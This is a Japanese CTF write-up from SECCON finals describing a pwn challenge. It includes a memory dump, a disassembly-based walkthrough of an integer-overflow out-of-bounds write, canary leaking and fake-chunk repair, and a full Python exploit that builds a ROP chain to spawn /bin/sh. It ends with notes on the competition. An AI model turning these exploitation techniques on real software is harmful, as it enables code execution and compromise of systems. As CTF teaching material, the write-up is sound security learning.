0x7ffebe64c480:    a0 c4 64 be fe 7f 00 00  ff ff ff ff 63 78 78 2e    |  ..d.........cxx.  |
0x7ffebe64c490:    b0 c4 64 be fe 7f 00 00  98 53 7b 07 bb 7f 00 00    |  ..d......S{.....  |
0x7ffebe64c4a0:    be 4c 3c 07 01 00 00 00  1a 00 00 00 00 00 00 00    |  .L<.............  |
0x7ffebe64c4b0:    ff ff ff ff 02 00 00 00  09 00 00 00 00 00 00 00    |  ................  |
0x7ffebe64c4c0:    ff ff ff ff ff ff ff ff  00 5c c4 c7 fa e5 aa 3c    |  .........\.....<  |
0x7ffebe64c4d0:    67 6c 69 62 63 78 78 2e  28 c6 64 be fe 7f 00 00    |  glibcxx.(.d.....  |
0x7ffebe64c4e0:    a0 c5 64 be fe 7f 00 00  01 00 00 00 00 00 00 00    |  ..d.............  |
0x7ffebe64c4f0:    00 00 00 00 00 00 00 00  c0 4c d6 5f d2 55 00 00    |  .........L._.U..  |
0x7ffebe64c500:    00 30 80 07 bb 7f 00 00  ca 31 33 07 bb 7f 00 00    |  .0.......13.....  |
0x7ffebe64c510:    08 00 00 00 00 00 00 00  28 c6 64 be fe 7f 00 00    |  ........(.d.....  |
0x7ffebe64c520:    a8 df 50 07 01 00 00 00  20 25 d6 5f d2 55 00 00    |  ..P..... %._.U..  |
0x7ffebe64c530:    28 c6 64 be fe 7f 00 00  de f3 47 c0 90 a0 54 c3    |  (.d.......G...T.  |
0x7ffebe64c540:    01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00    |  ................  |
0x7ffebe64c550:    c0 4c d6 5f d2 55 00 00  00 30 80 07 bb 7f 00 00    |  .L._.U...0......  |
0x7ffebe64c560:    de f3 27 c1 90 a0 54 c3  de f3 05 28 3f d2 df c3    |  ..'...T....(?...  |
0x7ffebe64c570:    00 00 00 00 fe 7f 00 00  00 00 00 00 00 00 00 00    |  ................  |

0x7ffebe64c4c0にあるのが、_sizeです。これにより、indexの範囲をほぼ気にせず書き込みができるようになり、mainのreturn addressかた下をROPのpayloadに書き換えることができます。

ところで、ROPを発火させるためには、これまでのメモリ破壊の副作用を解決する必要があります。

arrのアドレスがズレた副作用の解決

arrが最後にfreeされるので、arrの指している先がvalidのチャンクでなければいけません。まず考えたことは、arrのアドレス(0x7ffebe64c4a0)の一つ上0x7ffebe64c498に0x41のようなサイズを書き込んで、後ろにも同じくsizeを書き込んでfakeのchunkを作ることです。

しかしながら、これは、0x7ffebe64c49cにのみ唯一書き込みができないために、断念しました。

arrより上に書き込むこと自体は問題ないです。再喝すると、arrへの書き込みは以下の機械語で行われています。

17a6:  89 14 81                 mov    DWORD PTR [rcx+rax*4],edx

rax*4でinteger overflowを起こせば、arrより小さいアドレスにもindexを指定して書き込みできます。しかしながら、唯一arrより4byte上のアドレスだけは、raxが-1である必要があり、ULONG_MAXと一致してしまうがために、書き込みできないのです。この領域には、libcのアドレスの上2byteが残っていて、validなチャンクのサイズとなってくれません。

そこで、stack上にfakeのchunkを別で作り、exploitの最後に、top(0x7ffebe64c480)にあるarrのアドレス自体の下32bitをfake chunkに向けてやることで解決しました。これにより、arrのfreeは正常に行われ、ROPに繋げることができます。

このwriteupを書いてて思いましたが、stackも、heapも、libcのアドレスも全てが手に入っており、integer overflowを使うことで、-1のindexを除くすべてのアドレスに対してread writeができるので、無限になんでもできます。libcに対するread writeも可能なのでFSOPもできます。

実は完全にプログラムを掌握しています。

rspがズレた副作用の解決

rspがズレることで、mainからreturnする前に行われるcanaryのチェックの領域もずれています。

    16e1:  48 8b 44 24 58           mov    rax,QWORD PTR [rsp+0x58]
    16e6: 64 48 2b 04 25 28 00   sub    rax,QWORD PTR fs:0x28
    16ed: 00 00
    16ef: 0f 85 da 00 00 00     jne    17cf <main+0x2af>
    16f5: 48 83 c4 68           add    rsp,0x68
    16f9: 31 c0                   xor    eax,eax
    16fb: 5b                       pop    rbx
    16fc: 5d                       pop    rbp
    16fd: 41 5c                   pop    r12
    16ff: 41 5d                   pop    r13
    1701:  41 5e                   pop    r14
    1703:  41 5f                   pop    r15
    1705:  c3                       ret

stack上でcanaryをleakして、新たなrsp+0x58の領域に書き込んでやれば、正常にretできます。

Exploit

以上の辻褄合わせにより、ROPを発火して/bin/sh\x00を実行できます。

実際のExploitコードは以下の通り。

#!/usr/bin/env python3
from ptrlib import *

libc = ELF('./libc.so.6')

io = remote('localhost', 9999)
#io = Process('./chall')

io.sendlineafter(b"size = ", 38)


def set_val(index, val, err=False, recover=0, index2=0, val2=0):
    io.sendlineafter("> ", 1)
    io.sendlineafter("index = ", str(index))
    io.sendlineafter("value = ", str(val))
    if (err):
        if(recover == 0):
            io.sendlineafter(": ", 0)
        else:
            io.sendlineafter(": ", 1)
            io.sendlineafter("index = ", str(index2))
            io.sendlineafter("value = ", str(val2))
    return

def get_val(index):
    io.sendlineafter("> ", 2)
    io.sendlineafter("index = ", str(index))
    io.recvuntil("] = ")
    return int(io.recvline())

set_val(-1, 10, True)


heap_addr = get_val(16)
heap_addr += get_val(17) << 32
heap_addr -= 0x234c
print("heap addr is " + hex(heap_addr))

libc_addr = get_val(26)
libc_addr += get_val(27) << 32
libc_addr -= 0x2fb290
print("libc addr is " + hex(libc_addr))
libc.base = libc_addr

stack_addr = get_val(30)
stack_addr += get_val(31) << 32
print("stack addr is " + hex(stack_addr))

#io.debug = True
# call ret 0x10 and arr to stack addr
set_val(-1, 10, True, 1, 26, next(libc.gadget("ret 0x10;")) & 0xFFFFFFFF)

# overwrite _size
set_val(8, 0xFFFFFFFF)
set_val(9, 0xFFFFFFFF)

# leak and write canary
canary = get_val(10)
canary += get_val(11) << 32
print("canary is " + hex(canary))
set_val(14, canary&0xFFFFFFFF)
set_val(15, canary>>32)

# write ROP payload
payload = p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.gadget("pop rsi; ret;")))
payload += p64(0)
payload += p64(next(libc.gadget("xor edx, edx; mov rax, rdx; ret;")))
payload += p64(next(libc.gadget("pop rax; ret;")))
payload += p64(syscall.x86_64.execve)
payload += p64(next(libc.gadget("syscall;")))

for i in range(len(payload)//4):
    set_val(0x1e+i, u32(payload[i*4:(i*4)+4]))

# make fake chunk
set_val(98, 0x41)
set_val(99, 0)
set_val(113, 0)
set_val(114, 0x41)
set_val(115, 0)
set_val(116, 0xc0ffee)
set_val(117, 0xc00f)

# arr to fake chunk
set_val(-8, (stack_addr + 0x1c0)&0xFFFFFFFF)
io.sendlineafter("> ", 3)

io.sendline("cat flag*")

io.interactive()

解けたのは2日目の朝3時すぎです。解けるまで寝ない宣言をしていたので、解けてホッとしました。とても面白い問題だったので、お気に入りに追加です。

少し前にjieiさんもcryptoのRSA+を解いてくれていたので、Jeopardyは夜中に2問解けて、なんとかといった感じでした。

first bloodが欲しかったので、2日目開始時に最速で出したつもりでしたが、いわんこさんに数秒差で負けました。

second bloodです。

second blood

以降解けなかった問題

SECCON Glitch Gate (hardware)

寝て8時に起きてから、hardware問は何チームか解いてきそうなのでチャレンジしていました。しかしながら、マジで初心者で何をやっていいか分からず、シリアル通信したら文字化けした出力しか得られず終わっていました。first flagは接続してなんとかしたら、second flagは電圧フォールトグリッチぽいことはreversingで分かっていましたが、何もできず。

時間だけ溶かした末に、13:00くらいの予約枠で、諦めて部屋にすら行かないという始末でした。Hardware、無理。

game (Pwn)

hardware問を諦めてから、やっていました。Pwnの残りが、kernelとQEMUと、このCのheap問なので、選択肢がこれしかありませんでした。脆弱性の話とか試行錯誤の話とかしてもいいんですが、他のチームでこの問題に取り組んでいた人の理解に比べて、大したところにいなかったので、あまり書けることがないです。

脆弱性はcaphosraさんが特定していたので、Exploitしきれなくてごめんという気持ち。

reallocしたらチャンクが上の方に伸びた!とか恥ずかしい勘違いもしていたので、深掘りしません。

競技終了

競技終了まで、かなりヒヤヒヤする展開でした。KotHで徐々に差が縮まって捲られるタイミングが複数あり、5位フィニッシュかと思った瞬間もありましたが、ふぁぼんさんがJeopardyのWebを通してくれたことと、BunkyoWesternsがFlag hoardingしていたCryptoの問題が提出されたことで、相対的に点数が上がってギリギリ3位フィニッシュでした。

競技終了後しばらくして、jieiさんがCryptoのJeopardyを一問ローカルのDockerで解いていたので、それも惜しかったです。

まとめ

今回の問題セットは、PwnとWebがかなり難しかったので、相対的にCryptoできるプレイヤーが二人以上いるチームが有利だったかなという感じです。(Cryptoも決勝の問題なので難しいのは勿論ですが、PwnとWebは0solveばかりでした)

来年はTSGで出るかどうかも分からないですが、KernelやQEMU, ブラウザなども積極的に解けるようになりたいと思っています。

3位が取れてよかったです。SECCONの運営の皆様と、会場で話したプレイヤーの皆様ありがとうございました。




以上の内容はhttps://iwashi-ra.hatenablog.com/entry/2025/03/04/221721より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14